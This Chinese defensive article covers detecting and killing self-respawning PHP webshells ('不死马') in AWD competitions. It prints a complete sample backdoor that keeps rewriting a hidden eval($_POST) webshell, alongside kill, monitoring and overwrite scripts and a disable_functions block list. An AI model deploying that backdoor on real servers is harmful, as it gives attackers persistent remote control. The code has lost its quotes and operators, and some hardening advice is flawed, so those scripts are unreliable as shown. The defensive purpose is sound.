行业资讯
📅 2026/7/8 15:19:28
PHP 不死马实战查杀:3种条件竞争脚本与进程定位方法对比
PHP 不死马实战查杀3种条件竞争脚本与进程定位方法对比在AWD竞赛或真实攻防演练中PHP不死马内存马因其隐蔽性和持久性成为攻击者维持权限的利器。这类恶意脚本会常驻进程内存并持续生成WebShell文件常规删除操作往往无效。本文将系统对比三种主流查杀技术并提供可直接部署的自动化脚本。1. 不死马运行机制深度解析典型不死马脚本结构如下?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file .hidden.php; $code ?php eval($_POST[cmd]);?; while(1){ file_put_contents($file,$code); system(touch -m -d 2020-01-01 .hidden.php); usleep(5000); } ?关键特征分析ignore_user_abort(true)确保脚本在连接断开后继续执行set_time_limit(0)取消执行时间限制unlink(__FILE__)删除自身文件增加隐蔽性循环体内通过file_put_contents持续写入WebShellsystem(touch...)修改文件时间戳规避时间检索usleep(5000)控制写入频率避免资源耗尽进程级驻留使得单纯删除文件无效必须同时终止对应PHP进程。下表对比常见检测方法的有效性检测方法有效性局限性find -mtime低时间戳被伪造ls -a中需知道隐藏文件名ps aux --sort-%cpu高需人工分析异常进程lsof D /var/www高需要root权限2. 进程定位与查杀实战方案2.1 智能进程定位脚本以下Shell脚本可自动识别异常PHP进程#!/bin/bash # 检测CPU占用超过1%且运行超过5分钟的PHP进程 ABNORMAL_PIDS$(ps -eo pid,user,%cpu,etime,cmd --sort-%cpu | awk $31 $5~php $45:00 {print $1}) if [[ -z $ABNORMAL_PIDS ]]; then echo [] 未检测到可疑进程 else echo [!] 发现异常进程: ps -fp $ABNORMAL_PIDS read -p 是否终止这些进程? (y/n) -n 1 -r if [[ $REPLY ~ ^[Yy]$ ]]; then kill -9 $ABNORMAL_PIDS echo [] 已终止恶意进程 fi fi使用技巧保存为check_php.sh并添加执行权限通过crontab设置每分钟自动执行* * * * * /path/to/check_php.sh /var/log/php_monitor.log2.2 文件监控联动查杀结合inotify-tools实现实时文件监控#!/bin/bash inotifywait -m -r -e create,modify --format %w%f /var/www | while read FILE; do if [[ $FILE ~ \.php$ ]] [[ $(stat -c %Y $FILE) -lt $(date -d 1 day ago %s) ]]; then echo [!] 检测到可疑文件: $FILE # 关联进程终止 PID$(lsof -t $FILE) [[ -n $PID ]] kill -9 $PID # 安全替换文件内容 echo ?php // Removed by security system ? $FILE chattr i $FILE fi done注意需提前安装inotify-tools包监控目录需根据实际环境调整3. 条件竞争查杀技术对比3.1 基础竞争覆盖法通过更高频率写入无害内容覆盖恶意文件?php ignore_user_abort(true); set_time_limit(0); $file .hidden.php; $clean ?php /* Cleaned */ ?; while(1){ file_put_contents($file, $clean); usleep(1000); // 必须小于原脚本的usleep值 } ?优劣分析优点实现简单无需root权限缺点成功率依赖时间参数设置3.2 双重锁定机制改进版竞争脚本增加文件锁定?php $lock fopen(/tmp/antimalware.lock, w); if (flock($lock, LOCK_EX)) { ignore_user_abort(true); set_time_limit(0); $target .hidden.php; while(1) { file_put_contents($target, ?php exit(); ?); chmod($target, 0444); // 设置为只读 usleep(800); } flock($lock, LOCK_UN); } fclose($lock); ?3.3 内存级清除方案通过PHP扩展直接操作进程内存需root#include php.h // 示例扫描PHP进程内存中的恶意代码片段 void scan_process_memory(pid_t pid) { char maps_path[256], mem_path[256]; sprintf(maps_path, /proc/%d/maps, pid); sprintf(mem_path, /proc/%d/mem, pid); FILE *maps fopen(maps_path, r); if (maps) { char line[256]; while (fgets(line, sizeof(line), maps)) { if (strstr(line, rw)) { // 可读写内存段 unsigned long start, end; sscanf(line, %lx-%lx, start, end); // 实际扫描逻辑需进一步实现 } } fclose(maps); } }部署流程编译为.so扩展在php.ini中加载扩展定期执行内存扫描4. 防御体系构建建议分层防护策略预防层禁用危险函数disable_functions exec,passthru,shell_exec,system设置open_basedir限制文件操作范围定期更新PHP版本检测层# 监控可疑文件创建 auditctl -w /var/www/html/ -p wa -k web_content # 分析审计日志 ausearch -k web_content | aureport -f -i响应层建立自动化杀进程机制部署文件完整性监控如AIDE设置Web目录不可执行find /var/www -type d -exec chmod -x {} \;变种不死马应对技巧对于-a.php类特殊文件名使用./-a.php或-- -a.php操作针对动态密码变种可通过进程内存分析获取密钥对抗fork炸弹型马需限制进程数ulimit -u 50 # 限制单用户进程数在实际攻防对抗中建议组合使用进程监控、文件监控和条件竞争脚本形成立体防御体系。定期演练不同场景下的应急响应流程确保在比赛或真实攻击中能快速定位和清除不死马。